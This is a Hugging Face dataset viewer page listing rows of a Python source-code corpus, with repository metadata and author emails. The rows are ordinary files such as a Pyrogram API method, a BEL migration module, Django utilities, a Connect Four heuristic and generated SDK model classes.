Reset23/the-stack-v2-filtered-python · Datasets at Hugging Face

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# Pyrogram - Telegram MTProto API Client Library for Python # Copyright (C) 2017-2021 Dan <https://github.com/delivrance> # # This file is part of Pyrogram. # # Pyrogram is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Pyrogram is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Pyrogram. If not, see <http://www.gnu.org/licenses/>. from io import BytesIO from pyrogram.raw.core.primitives import Int, Long, Int128, Int256, Bool, Bytes, String, Double, Vector from pyrogram.raw.core import TLObject from pyrogram import raw from typing import List, Union, Any # # # # # # # # # # # # # # # # # # # # # # # # # !!! WARNING !!! # # This is a generated file! # # All changes made in this file will be lost! # # # # # # # # # # # # # # # # # # # # # # # # # class GetLanguage(TLObject): # type: ignore """Telegram API method. Details: - Layer: ``122`` - ID: ``0x6a596502`` Parameters: lang_pack: ``str`` lang_code: ``str`` Returns: :obj:`LangPackLanguage <pyrogram.raw.base.LangPackLanguage>` """ __slots__: List[str] = ["lang_pack", "lang_code"] ID = 0x6a596502 QUALNAME = "functions.langpack.GetLanguage" def __init__(self, *, lang_pack: str, lang_code: str) -> None: self.lang_pack = lang_pack # string self.lang_code = lang_code # string @staticmethod def read(data: BytesIO, *args: Any) -> "GetLanguage": # No flags lang_pack = String.read(data) lang_code = String.read(data) return GetLanguage(lang_pack=lang_pack, lang_code=lang_code) def write(self) -> bytes: data = BytesIO() data.write(Int(self.ID, False)) # No flags data.write(String(self.lang_pack)) data.write(String(self.lang_code)) return data.getvalue()

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#start monkey test import os; from subprocess import Popen from subprocess import PIPE from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice, MonkeyImage from com.android.monkeyrunner.MonkeyDevice import takeSnapshot from com.android.monkeyrunner.easy import EasyMonkeyDevice from com.android.monkeyrunner.easy import By from com.android.chimpchat.hierarchyviewer import HierarchyViewer from com.android.monkeyrunner import MonkeyView import random import sys import subprocess from sys import exit from random import randint device = MonkeyRunner.waitForConnection() easy_device=EasyMonkeyDevice(device) package = 'es.senselesssolutions.gpl.weightchart' activity ='es.senselesssolutions.gpl.weightchart.ChartActivity' runComponent = package+'/'+activity device.startActivity(component=runComponent) MonkeyRunner.sleep(1) device.touch(487,1689, 'DOWN_AND_UP') MonkeyRunner.sleep(1) device.touch(1619,983, 'DOWN_AND_UP') MonkeyRunner.sleep(1) device.touch(558,1730, 'DOWN_AND_UP')

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#!/usr/bin/env python # -*- coding: utf-8 -*- # Migrate BEL from 1 to 2.0.0 # # Standard Library import json # Third Party from loguru import logger # Local import bel.belspec.crud import bel.core.settings as settings from bel.belspec.crud import get_enhanced_belspec from bel.lang.ast import BELAst, Function, NSArg, StrArg from bel.lang.belobj import BEL version = bel.belspec.crud.get_latest_version() bo = BEL("", version=version) belspec = get_enhanced_belspec(bo.version) def migrate(belstr: str) -> str: """Migrate BEL 1 to 2.0.0 Args: bel: BEL 1 Returns: bel: BEL 2 """ bo.parse(belstr) return migrate_ast(bo.ast).to_string() def migrate_into_triple(belstr: str) -> str: """Migrate BEL1 assertion into BEL 2.0.0 SRO triple""" bo.parse(belstr) return migrate_ast(bo.ast).to_triple() def migrate_ast(ast: BELAst) -> BELAst: # Process Subject bo.ast.subject = convert(bo.ast.subject) if bo.ast.object: if bo.ast.object.type == "BELAst": bo.ast.object.subject = convert(bo.ast.object.subject) if bo.ast.object.object: bo.ast.object.object = convert(bo.ast.object.object) else: bo.ast.object = convert(bo.ast.object) return bo.ast def convert(ast): """Convert BEL1 AST Function to BEL2 AST Function""" if ast and ast.type == "Function": # Activity function conversion if ( ast.name != "molecularActivity" and ast.name in belspec["namespaces"]["Activity"]["list"] ): print("name", ast.name, "type", ast.type) ast = convert_activity(ast) return ast # Otherwise - this will trigger on the BEL2 molecularActivity # translocation conversion elif ast.name in ["tloc", "translocation"]: ast = convert_tloc(ast) fus_flag = False for idx, arg in enumerate(ast.args): if arg.__class__.__name__ == "Function": # Fix substitution -> variation() if arg.name in ["sub", "substitution"]: ast.args[idx] = convert_sub(arg) elif arg.name in ["trunc", "truncation"]: ast.args[idx] = convert_trunc(arg) elif arg.name in ["pmod", "proteinModification"]: ast.args[idx] = convert_pmod(arg) elif arg.name in ["fus", "fusion"]: fus_flag = True # Recursively process Functions ast.args[idx] = convert(ast.args[idx]) if fus_flag: ast = convert_fus(ast) return ast def convert_tloc(ast): """Convert BEL1 tloc() to BEL2""" from_loc_arg = ast.args[1] to_loc_arg = ast.args[2] from_loc = Function("fromLoc", version=version, parent=ast) from_loc.add_argument(NSArg(from_loc_arg.namespace, from_loc_arg.value, parent=from_loc)) to_loc = Function("toLoc", version=version, parent=ast) to_loc.add_argument(NSArg(to_loc_arg.namespace, to_loc_arg.value, parent=to_loc)) ast.args[1] = from_loc ast.args[2] = to_loc return ast def convert_activity(ast): """Convert BEL1 activities to BEL2 act()""" if len(ast.args) > 1: logger.error(f"Activity should not have more than 1 argument {ast.to_string()}") p_arg = ast.args[0] # protein argument print("p_arg", p_arg) ma_arg = Function("ma", version=version) ma_arg.add_argument(StrArg(ast.name, ma_arg)) p_arg.change_parent_fn(ma_arg) ast = Function("activity", version=version) p_arg.change_parent_fn(ast) ast.add_argument(p_arg) ast.add_argument(ma_arg) return ast def convert_pmod(pmod): """Update BEL1 pmod() protein modification term""" if pmod.args[0].value in belspec["bel1_migration"]["protein_modifications"]: pmod.args[0].value = belspec["bel1_migration"]["protein_modifications"][pmod.args[0].value] return pmod def convert_fus(ast): """Convert BEL1 fus() to BEL2 fus()""" parent_fn_name = ast.name_short prefix_list = {"p": "p.", "r": "r.", "g": "c."} prefix = prefix_list[parent_fn_name] fus1_ns = ast.args[0].namespace fus1_val = ast.args[0].value arg_fus = ast.args[1] fus_args = [None, "?", "?"] for idx, arg in enumerate(arg_fus.args): fus_args[idx] = arg fus2_ns = fus_args[0].namespace fus2_val = fus_args[0].value if fus_args[1] == "?": fus1_range = fus_args[1] else: fus1_range = f'"{prefix}1_{fus_args[1].value}"' if fus_args[2] == "?": fus2_range = fus_args[2] else: fus2_range = f'"{prefix}{fus_args[2].value}_?"' fus = Function("fus", version=version, parent=ast) fus.args = [ NSArg(fus1_ns, fus1_val, fus), StrArg(fus1_range, fus), NSArg(fus2_ns, fus2_val, fus), StrArg(fus2_range, fus), ] # Remove BEL ast_args = ast.args ast_args.pop(0) ast_args.pop(0) if ast_args == [None]: ast_args = [] ast.args = [] ast.add_argument(fus) if len(ast_args) > 0: ast.args.extend(ast_args) return ast def convert_sub(sub): """Convert BEL1 sub() to BEL2 var()""" args = sub.args (ref_aa, pos, new_aa) = args parent_fn_name = sub.parent_function.name_short prefix_list = {"p": "p.", "r": "r.", "g": "c."} prefix = prefix_list[parent_fn_name] new_var_arg = f'"{prefix}{belspec["namespaces"]["AminoAcid"]["to_short"][ref_aa.value]}{pos.value}{belspec["namespaces"]["AminoAcid"]["to_short"][new_aa.value]}"' new_var = Function("var", version=version) new_var.add_argument(StrArg(new_var_arg, new_var)) return new_var def convert_trunc(trunc): """Convert BEL1 trunc() to BEL2 var()""" parent_fn_name = trunc.parent_function.name_short prefix_list = {"p": "p.", "r": "r.", "g": "c."} prefix = prefix_list[parent_fn_name] new_var_arg = f'"truncated at {trunc.args[0].value}"' new_var = Function("var", version=version) new_var.add_argument(StrArg(new_var_arg, new_var)) return new_var def main(): # Local import bel.lang.migrate_1_2 bel1 = "kin(p(HGNC:BRAF))" bel1 = "p(HGNC:PIK3CA, sub(E, 545, K))" # bel2 = 'p(HGNC:PIK3CA, var(p.Glu545Lys))' bel1 = "r(HGNC:BCR, fus(HGNC:JAK2, 1875, 2626), pmod(P))" bel2 = 'r(fus(HGNC:BCR, "r.1_1875", HGNC:JAK2, "r.2626_?"), pmod(Ph))' # bel1 = 'p(HGNC:MAPK1, pmod(P, Thr, 185))' # bel2 = 'p(HGNC:MAPK1, pmod(Ph, Thr, 185))' # bel1 = 'tloc(p(HGNC:EGFR), MESHCL:Cytoplasm, MESHCL:"Cell Nucleus")' # bel2 = 'tloc(p(HGNC:EGFR), fromLoc(MESHCL:Cytoplasm), toLoc(MESHCL:"Cell Nucleus"))' # bel1 = 'p(HGNC:ABCA1, trunc(1851))' # bel2 = 'p(HGNC:ABCA1, var("truncated at 1851"))' bel2 = bel.lang.migrate_1_2.migrate(bel1) print("BEL2", bel2) if __name__ == "__main__": main()

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import datetime from django.utils.tzinfo import LocalTimezone from django.utils.translation import ungettext, ugettext def timesince(d, now=None): """ Takes two datetime objects and returns the time between d and now as a nicely formatted string, e.g. "10 minutes". If d occurs after now, then "0 minutes" is returned. Units used are years, months, weeks, days, hours, and minutes. Seconds and microseconds are ignored. Up to two adjacent units will be displayed. For example, "2 weeks, 3 days" and "1 year, 3 months" are possible outputs, but "2 weeks, 3 hours" and "1 year, 5 days" are not. Adapted from http://blog.natbat.co.uk/archive/2003/Jun/14/time_since """ chunks = ( (60 * 60 * 24 * 365, lambda n: ungettext('year', 'years', n)), (60 * 60 * 24 * 30, lambda n: ungettext('month', 'months', n)), (60 * 60 * 24 * 7, lambda n: ungettext('week', 'weeks', n)), (60 * 60 * 24, lambda n: ungettext('day', 'days', n)), (60 * 60, lambda n: ungettext('hour', 'hours', n)), (60, lambda n: ungettext('minute', 'minutes', n)) ) # Convert datetime.date to datetime.datetime for comparison. if not isinstance(d, datetime.datetime): d = datetime.datetime(d.year, d.month, d.day) if now and not isinstance(now, datetime.datetime): now = datetime.datetime(now.year, now.month, now.day) if not now: if d.tzinfo: now = datetime.datetime.now(LocalTimezone(d)) else: now = datetime.datetime.now() # ignore microsecond part of 'd' since we removed it from 'now' delta = now - (d - datetime.timedelta(0, 0, d.microsecond)) since = delta.days * 24 * 60 * 60 + delta.seconds if since <= 0: # d is in the future compared to now, stop processing. return u'0 ' + ugettext('minutes') for i, (seconds, name) in enumerate(chunks): count = since // seconds if count != 0: break s = ugettext('%(number)d %(type)s') % {'number': count, 'type': name(count)} if i + 1 < len(chunks): # Now get the second item seconds2, name2 = chunks[i + 1] count2 = (since - (seconds * count)) // seconds2 if count2 != 0: s += ugettext(', %(number)d %(type)s') % {'number': count2, 'type': name2(count2)} return s def timeuntil(d, now=None): """ Like timesince, but returns a string measuring the time until the given time. """ if not now: if getattr(d, 'tzinfo', None): now = datetime.datetime.now(LocalTimezone(d)) else: now = datetime.datetime.now() return timesince(now, d)

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from __future__ import absolute_import, division, print_function from . import pydoctor, sphinx, intersphinx DOCTYPES = [ intersphinx.InterSphinxParser, sphinx.SphinxParser, pydoctor.PyDoctorParser, ] def get_doctype(path): """ Gets the apropriate doctype for *path*. """ for dt in DOCTYPES: if dt.detect(path): return dt else: return None

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#!/usr/bin/env python3 import numpy as np import random as rand class minimax(object): def __init__(self, current_board, move_number): self.board = current_board self.number_rows = 6 self.number_cols = 7 self.move_number = move_number self.right_diag_1 = [] self.right_diag_2 = [] self.right_diag_3 = [] self.right_diag_4 = [] self.right_diag_5 = [] self.right_diag_6 = [] self.left_diag_1 = [] self.left_diag_2 = [] self.left_diag_3 = [] self.left_diag_4 = [] self.left_diag_5 = [] self.left_diag_6 = [] self.diag_set = [] self.two_set = [] self.update_diags() def update_diags(self): self.right_diag_1 = [self.board[3,0],self.board[2,1],self.board[1,2],self.board[0,3]] self.right_diag_2 = [self.board[4,0],self.board[3,1],self.board[2,2],self.board[1,3], self.board[0,4]] self.right_diag_3 = [self.board[5,0],self.board[4,1],self.board[3,2],self.board[2,3], self.board[1,4],self.board[0,5]] self.right_diag_4 = [self.board[5,1],self.board[4,2],self.board[3,3],self.board[2,4], self.board[1,5],self.board[0,6]] self.right_diag_5 = [self.board[5,2],self.board[4,3],self.board[3,4],self.board[2,5], self.board[1,6]] self.right_diag_6 = [self.board[5,3],self.board[4,4],self.board[3,5],self.board[2,6]] self.left_diag_1 = [self.board[3,6],self.board[2,5],self.board[1,4],self.board[0,3]] self.left_diag_2 = [self.board[4,6],self.board[3,5],self.board[2,4],self.board[1,3], self.board[0,2]] self.left_diag_3 = [self.board[5,6],self.board[4,5],self.board[3,4],self.board[2,3], self.board[1,2],self.board[0,1]] self.left_diag_4 = [self.board[5,5],self.board[4,4],self.board[3,3],self.board[2,2], self.board[1,1],self.board[0,0]] self.left_diag_5 = [self.board[5,4],self.board[4,3],self.board[3,2],self.board[2,1], self.board[1,0]] self.left_diag_6 = [self.board[5,3],self.board[4,2],self.board[3,1],self.board[2,0]] self.diag_set = [self.right_diag_1, self.right_diag_2, self.right_diag_3, self.right_diag_4, self.right_diag_5, self.right_diag_6, self.left_diag_1, self.left_diag_2, self.left_diag_3, self.left_diag_4, self.left_diag_5, self.left_diag_6] def find_twos_rows(self, color): number_of_twos = 0 ''' checking for twos along the rows. this gets complicated, because we only want to count twos that could be part of a future connect four. thus we have to make sure that their is enough empty cells around each set of two before we count it. ---------------------------------------------------------------------- these are the options: 0011, 0101, 0110, 1001, 1010, 1100 ''' for row in range(self.number_rows): for col in range(self.number_cols-1): if( (col-2) > -1 and (col+2 >= self.number_cols or self.board[row][col+2] != color)): if(self.board[row][col] == self.board[row][col+1] == color and self.board[row][col-1] == self.board[row][col-2] == 0): number_of_twos += 1 elif( (col-1) > -1 and (col+2) < self.number_cols ): if(self.board[row][col] == self.board[row][col+2] == color and (self.board[row][col-1] == self.board[row][col+1] == 0)): number_of_twos += 1 elif( (col-1) > -1 and (col+2) < self.number_cols): if(self.board[row][col] == self.board[row][col+1] == color and (self.board[row][col-1] == self.board[row][col+2] == 0)): number_of_twos += 1 elif( (col+3) < self.number_cols): if(self.board[row][col] == self.board[row][col+3] == color and self.board[row][col+1] == self.board[row][col+2] == 0): number_of_twos += 1 elif(self.board[row][col] == self.board[row][col+2] == color and self.board[row][col+1] == self.board[row][col+3] == 0): number_of_twos += 1 elif(self.board[row][col] == self.board[row][col+1] == color and self.board[row][col+2] == self.board[row][col+3] == 0): number_of_twos += 1 return number_of_twos def find_twos_rows_test(self, color): ''' checking for twos along the rows. this gets complicated, because we only want to count twos that could be part of a future connect four. thus we have to make sure that their is enough empty cells around each set of two before we count it. ---------------------------------------------------------------------- these are the options: 0011, 0101, 0110, 1001, 1010, 1100 ''' number_of_twos = 0 set_to_check = [] for row in range(self.number_rows): for col in range(self.number_cols-3): set_to_check.append([self.board[row][col+i] for i in range(4)]) for set_ in set_to_check: num_color = 0 num_empty = 0 for cell in set_: if(cell == 0): num_empty += 1 elif(cell == color): num_color += 1 if(num_color == num_empty == 2): number_of_twos += 1 return number_of_twos def find_twos_cols(self, color): number_of_twos = 0 ''' checking for twos along the col. this is pretty easy as the only way a two in a row along a column can be apart of a connect four is if the piece immediately above the two is empty. ''' for col in range(self.number_cols): for row in range(self.number_rows): if(self.board[row][col] == self.board[row-1][col] == color and self.board[row-2][col] == 0): number_of_twos += 1 return number_of_twos def find_twos_diags(self, color): ''' this is similar to finding twos in rows. there are three options for two in a rows that have potential to be a win. 0011, 0110, 1100. these each are examined in the context of the diagonal. this is the reason that the diagonal lists are necessary ''' number_of_twos = 0 for diag in self.diag_set: diagonal_length = len(diag) for i in range(diagonal_length-1): if( (i+3) < diagonal_length): if(diag[i] == diag[i+1] == color and diag[i+2] == diag[i+3] == 0): number_of_twos += 1 print('found') elif( (i-1) > -1 and (i+2) < diagonal_length): if(diag[i] == diag[i+1] == color and diag[i-1] == diag[i+2] == 0): number_of_twos += 1 print('found') elif( (i-2) > -1): if(diag[i] == diag[i+1] == color and diag[i-1] == diag[i-2] == 0): number_of_twos += 1 print('found') return number_of_twos def evaluate_board(self): # (2 in a rows)*10 + (3 in a rows)*1000 + (4 in a row)*100000 evaluation = 10 return evaluation def main(): print("\nminimax ai algorithm --- connect four\n") sample_board = np.array([[0,0,0,0,0,0,0], [0,0,0,0,0,0,0], [0,0,0,0,0,0,0], [0,0,2,0,1,2,0], [0,1,2,1,2,2,2], [2,1,1,2,1,1,1]]) minimax_ = minimax(sample_board, 16) print(minimax_.find_twos_rows_test(1)) if __name__ == '__main__': main()

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# -*- coding: utf-8 -*- ''' # Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. # # This file was generated and any changes will be overwritten. ''' from __future__ import unicode_literals from ..model.enrollment_configuration_assignment import EnrollmentConfigurationAssignment from datetime import datetime from ..one_drive_object_base import OneDriveObjectBase class DeviceEnrollmentConfiguration(OneDriveObjectBase): def __init__(self, prop_dict={}): self._prop_dict = prop_dict @property def display_name(self): """ Gets and sets the displayName Returns: str: The displayName """ if "displayName" in self._prop_dict: return self._prop_dict["displayName"] else: return None @display_name.setter def display_name(self, val): self._prop_dict["displayName"] = val @property def description(self): """ Gets and sets the description Returns: str: The description """ if "description" in self._prop_dict: return self._prop_dict["description"] else: return None @description.setter def description(self, val): self._prop_dict["description"] = val @property def priority(self): """ Gets and sets the priority Returns: int: The priority """ if "priority" in self._prop_dict: return self._prop_dict["priority"] else: return None @priority.setter def priority(self, val): self._prop_dict["priority"] = val @property def created_date_time(self): """ Gets and sets the createdDateTime Returns: datetime: The createdDateTime """ if "createdDateTime" in self._prop_dict: return datetime.strptime(self._prop_dict["createdDateTime"].replace("Z", ""), "%Y-%m-%dT%H:%M:%S.%f") else: return None @created_date_time.setter def created_date_time(self, val): self._prop_dict["createdDateTime"] = val.isoformat()+"Z" @property def last_modified_date_time(self): """ Gets and sets the lastModifiedDateTime Returns: datetime: The lastModifiedDateTime """ if "lastModifiedDateTime" in self._prop_dict: return datetime.strptime(self._prop_dict["lastModifiedDateTime"].replace("Z", ""), "%Y-%m-%dT%H:%M:%S.%f") else: return None @last_modified_date_time.setter def last_modified_date_time(self, val): self._prop_dict["lastModifiedDateTime"] = val.isoformat()+"Z" @property def version(self): """ Gets and sets the version Returns: int: The version """ if "version" in self._prop_dict: return self._prop_dict["version"] else: return None @version.setter def version(self, val): self._prop_dict["version"] = val @property def assignments(self): """Gets and sets the assignments Returns: :class:`AssignmentsCollectionPage<onedrivesdk.request.assignments_collection.AssignmentsCollectionPage>`: The assignments """ if "assignments" in self._prop_dict: return AssignmentsCollectionPage(self._prop_dict["assignments"]) else: return None

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mmainer@microsoft.com

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/cv2_functions/cv2_minbox.py

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cilame/any-whim

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refs/heads/master

2023-08-17T05:10:56.348200

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import cv2 s = cv2.createBackgroundSubtractorMOG2(varThreshold=100) f = cv2.VideoCapture(0) while(1): a,v = f.read() g = s.apply(v) g = cv2.morphologyEx(g,cv2.MORPH_DILATE,(7,7),iterations=7) a,b,c = cv2.findContours(g,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE) for i in b: #print cv2.minAreaRect(i) x1,x2,x3,x4 = cv2.boxPoints(cv2.minAreaRect(i)) if sum((x1-x2)**2)>20 and sum((x2-x3)**2)>20: x1 = tuple(x1) x2 = tuple(x2) x3 = tuple(x3) x4 = tuple(x4) cv2.line(v,x1,x2,(0,255,0)) cv2.line(v,x2,x3,(0,255,0)) cv2.line(v,x3,x4,(0,255,0)) cv2.line(v,x4,x1,(0,255,0)) #if w>10 and h>10:cv2.rectangle(v,(x,y),(x+w,y+h),(0,255,0),1) cv2.imshow('nier1',v) cv2.imshow('nier',g) if cv2.waitKey(42)==ord(' '): break f.release() cv2.destroyAllWindows()

[ "opaquism@hotmail.com" ]

opaquism@hotmail.com

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/users/tasks.py

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alinzel/BookStore

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refs/heads/master

2020-03-07T03:22:18.771701

2018-03-29T08:00:19

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from __future__ import absolute_import,unicode_literals from celery import shared_task from django.conf import settings from django.core.mail import send_mail # 发送激活邮件 @shared_task # 共享任务返回一个总是使用current_app中的任务实例的代理 def send_active_email(token, username, email): subject = '尚硅谷书城用户激活链接' # 标题 message = '你好' + username # 内容 sender = settings.EMAIL_FROM # 显示的发件人 receiver = [email] # 目的邮箱 # 激活链接 html_message = '<a href="http://127.0.0.1:8000/user/active/%s/">http://127.0.0.1:8000/user/active/</a>'%token # 发送邮件的链接 send_mail(subject, message, sender,receiver, html_message=html_message) # TODO 开启celery的命令 # celery -A bookstore worker -l info

[ "944951481@qq.com" ]

944951481@qq.com

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/accelbyte_py_sdk/api/platform/models/client_request_parameter.py

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AccelByte/accelbyte-python-sdk

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refs/heads/main

2023-08-24T14:38:04.370340

2023-08-22T01:08:03

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MIT

2022-08-02T03:54:11

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6,030

py

# Copyright (c) 2021 AccelByte Inc. All Rights Reserved. # This is licensed software from AccelByte Inc, for limitations # and restrictions contact your company contract manager. # # Code generated. DO NOT EDIT! # template file: ags_py_codegen # AccelByte Gaming Services Platform Service (4.32.1) # pylint: disable=duplicate-code # pylint: disable=line-too-long # pylint: disable=missing-function-docstring # pylint: disable=missing-module-docstring # pylint: disable=too-many-arguments # pylint: disable=too-many-branches # pylint: disable=too-many-instance-attributes # pylint: disable=too-many-lines # pylint: disable=too-many-locals # pylint: disable=too-many-public-methods # pylint: disable=too-many-return-statements # pylint: disable=too-many-statements # pylint: disable=unused-import from __future__ import annotations from typing import Any, Dict, List, Optional, Tuple, Union from ....core import Model class ClientRequestParameter(Model): """Client request parameter (ClientRequestParameter) Properties: currency_code: (currencyCode) OPTIONAL str language: (language) OPTIONAL str price: (price) OPTIONAL float region: (region) OPTIONAL str """ # region fields currency_code: str # OPTIONAL language: str # OPTIONAL price: float # OPTIONAL region: str # OPTIONAL # endregion fields # region with_x methods def with_currency_code(self, value: str) -> ClientRequestParameter: self.currency_code = value return self def with_language(self, value: str) -> ClientRequestParameter: self.language = value return self def with_price(self, value: float) -> ClientRequestParameter: self.price = value return self def with_region(self, value: str) -> ClientRequestParameter: self.region = value return self # endregion with_x methods # region to methods def to_dict(self, include_empty: bool = False) -> dict: result: dict = {} if hasattr(self, "currency_code"): result["currencyCode"] = str(self.currency_code) elif include_empty: result["currencyCode"] = "" if hasattr(self, "language"): result["language"] = str(self.language) elif include_empty: result["language"] = "" if hasattr(self, "price"): result["price"] = float(self.price) elif include_empty: result["price"] = 0.0 if hasattr(self, "region"): result["region"] = str(self.region) elif include_empty: result["region"] = "" return result # endregion to methods # region static methods @classmethod def create( cls, currency_code: Optional[str] = None, language: Optional[str] = None, price: Optional[float] = None, region: Optional[str] = None, **kwargs, ) -> ClientRequestParameter: instance = cls() if currency_code is not None: instance.currency_code = currency_code if language is not None: instance.language = language if price is not None: instance.price = price if region is not None: instance.region = region return instance @classmethod def create_from_dict( cls, dict_: dict, include_empty: bool = False ) -> ClientRequestParameter: instance = cls() if not dict_: return instance if "currencyCode" in dict_ and dict_["currencyCode"] is not None: instance.currency_code = str(dict_["currencyCode"]) elif include_empty: instance.currency_code = "" if "language" in dict_ and dict_["language"] is not None: instance.language = str(dict_["language"]) elif include_empty: instance.language = "" if "price" in dict_ and dict_["price"] is not None: instance.price = float(dict_["price"]) elif include_empty: instance.price = 0.0 if "region" in dict_ and dict_["region"] is not None: instance.region = str(dict_["region"]) elif include_empty: instance.region = "" return instance @classmethod def create_many_from_dict( cls, dict_: dict, include_empty: bool = False ) -> Dict[str, ClientRequestParameter]: return ( {k: cls.create_from_dict(v, include_empty=include_empty) for k, v in dict_} if dict_ else {} ) @classmethod def create_many_from_list( cls, list_: list, include_empty: bool = False ) -> List[ClientRequestParameter]: return ( [cls.create_from_dict(i, include_empty=include_empty) for i in list_] if list_ else [] ) @classmethod def create_from_any( cls, any_: any, include_empty: bool = False, many: bool = False ) -> Union[ ClientRequestParameter, List[ClientRequestParameter], Dict[Any, ClientRequestParameter], ]: if many: if isinstance(any_, dict): return cls.create_many_from_dict(any_, include_empty=include_empty) elif isinstance(any_, list): return cls.create_many_from_list(any_, include_empty=include_empty) else: raise ValueError() else: return cls.create_from_dict(any_, include_empty=include_empty) @staticmethod def get_field_info() -> Dict[str, str]: return { "currencyCode": "currency_code", "language": "language", "price": "price", "region": "region", } @staticmethod def get_required_map() -> Dict[str, bool]: return { "currencyCode": False, "language": False, "price": False, "region": False, } # endregion static methods

[ "elmernocon@gmail.com" ]

elmernocon@gmail.com

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/ncsnv3/main.py

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pdybczak/google-research

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2023-03-05T23:16:11.246574

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# coding=utf-8 # Copyright 2020 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Training and evaluation for NCSNv3.""" from . import ncsn_lib from absl import app from absl import flags from ml_collections.config_flags import config_flags import tensorflow as tf FLAGS = flags.FLAGS config_flags.DEFINE_config_file( "config", None, "Training configuration.", lock_config=True) flags.DEFINE_string("workdir", None, "Work unit directory.") flags.DEFINE_string("mode", "train", "Running mode: train or eval") flags.DEFINE_string("eval_folder", "eval", "The folder name for storing evaluation results") flags.mark_flags_as_required(["workdir", "config"]) def main(argv): del argv tf.config.experimental.set_visible_devices([], "GPU") if FLAGS.mode == "train": ncsn_lib.train(FLAGS.config, FLAGS.workdir) elif FLAGS.mode == "eval": ncsn_lib.evaluate(FLAGS.config, FLAGS.workdir, FLAGS.eval_folder) else: raise ValueError(f"Mode {FLAGS.mode} not recognized.") if __name__ == "__main__": app.run(main)

[ "copybara-worker@google.com" ]

copybara-worker@google.com

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/xai/brain/wordbase/adjectives/_redoubtable.py

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permissive

cash2one/xai

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2021-01-19T12:33:54.964379

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#calss header class _REDOUBTABLE(): def __init__(self,): self.name = "REDOUBTABLE" self.definitions = [u'very strong, especially in character; producing respect and a little fear in others: '] self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.specie = 'adjectives' def run(self, obj1, obj2): self.jsondata[obj2] = {} self.jsondata[obj2]['properties'] = self.name.lower() return self.jsondata

[ "xingwang1991@gmail.com" ]

xingwang1991@gmail.com

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/mud/thing.py

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[]

no_license

Cloudxtreme/mud-14

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f02d4ca0e8360b0924b86a3da99e5230c3028642

refs/heads/master

2021-05-28T06:14:37.121028

2014-12-01T08:00:27

null

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null

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py

import mudclasses as mc import event as evt import english from types import TupleType # bug: permanence (sp?) is not yet handled

[ "leif.theden@gmail.com" ]

leif.theden@gmail.com

8ee2d7c7cfec8a059e6c4f84dfb4a253e1464a52

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[]

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timothyshull/python_reference_code

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2021-01-22T20:44:07.018811

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from postimport import when_imported @when_imported('threading') def warn_threads(mod): print('Threads? Are you crazy?') if __name__ == '__main__': pass

[ "timothyshull@gmail.com" ]

timothyshull@gmail.com

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/nosmsd/management/commands/nosmsd_incoming.py

a31a1677e93343f07145d84bad79c89cede66b3e

[]

no_license

pedrokiefer/nosmsd

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2021-01-14T13:17:11.680061

2014-11-25T13:34:31

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#!/usr/bin/env python # encoding=utf-8 # maintainer: rgaudin import sys from django.conf import settings from django.core.management.base import BaseCommand from django.utils import translation from nosmsd.nosmsd_incoming import handle as nohandle class Command(BaseCommand): def handle(self, *args, **options): translation.activate(settings.DEFAULT_LOCALE) args = (u"%s %s" % (sys.argv[0], u"nosmsd_incoming"),) + args nohandle(*args, DJANGO=True) translation.deactivate()

[ "rgaudin@gmail.com" ]

rgaudin@gmail.com

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refs/heads/master

2020-05-07T08:39:24.996138

2019-04-08T14:34:56

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from builtins import super from . import abstract class Bounds(abstract.PropertiesData): '''A cell bounds component of a coordinate or domain ancillary construct of the CF data model. An array of cell bounds spans the same domain axes as its coordinate array, with the addition of an extra dimension whose size is that of the number of vertices of each cell. This extra dimension does not correspond to a domain axis construct since it does not relate to an independent axis of the domain. Note that, for climatological time axes, the bounds are interpreted in a special way indicated by the cell method constructs. .. versionadded:: 1.7.0 ''' def __init__(self, properties=None, data=None, source=None, copy=True, _use_data=True): '''**Initialization** :Parameters: properties: `dict`, optional Set descriptive properties. The dictionary keys are property names, with corresponding values. Ignored if the *source* parameter is set. *Parameter example:* ``properties={'standard_name': 'altitude'}`` Properties may also be set after initialisation with the `set_properties` and `set_property` methods. data: `Data`, optional Set the data. Ignored if the *source* parameter is set. The data also may be set after initialisation with the `set_data` method. source: optional Override the *properties* and *data* parameters with ``source.properties()`` and ``source.get_data(None)`` respectively. If *source* does not have one of these methods, then the corresponding parameter is not set. copy: `bool`, optional If False then do not deep copy input parameters prior to initialization. By default arguments are deep copied. ''' super().__init__(properties=properties, data=data, source=source, copy=copy) #--- End: def #--- End: class

[ "d.c.hassell@reading.ac.uk" ]

d.c.hassell@reading.ac.uk

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[]

no_license

loobinsk/newprj

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refs/heads/master

2023-05-07T00:28:44.242163

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#-*- coding: utf-8 -*- from django import forms from uvideo.models import UserVideo from django.template import loader, Context from gutils.forms import BootstrapFormMixin class UploadVideoWidget(forms.HiddenInput): def render(self, name, value, attrs=None): tmpl = loader.get_template('uvideo/video-upload-input.html') return tmpl.render(Context({ 'input': super(UploadVideoWidget, self).render(name, value, attrs=None), 'id': name, })) class UserVideoForm(BootstrapFormMixin, forms.ModelForm): class Meta: model = UserVideo fields = ['url']

[ "root@bazavashdom.ru" ]

root@bazavashdom.ru

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2021-07-12T12:36:18

